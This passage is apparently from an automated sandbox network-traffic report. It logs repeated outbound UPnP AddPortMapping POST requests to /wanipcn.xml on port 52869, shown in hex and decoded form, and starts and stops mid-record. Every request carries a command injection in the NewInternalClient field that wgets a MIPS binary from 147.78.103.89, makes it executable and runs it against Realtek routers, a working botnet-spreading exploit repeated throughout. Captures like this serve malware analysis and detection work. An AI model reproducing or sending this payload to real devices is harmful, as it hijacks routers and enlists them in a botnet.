2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:56.985091925 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      19192.168.2.154682645.125.58.4352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:43.481940031 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.947159052 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:48.891118050 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:54.778985977 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:06.554595947 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:30.361838102 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
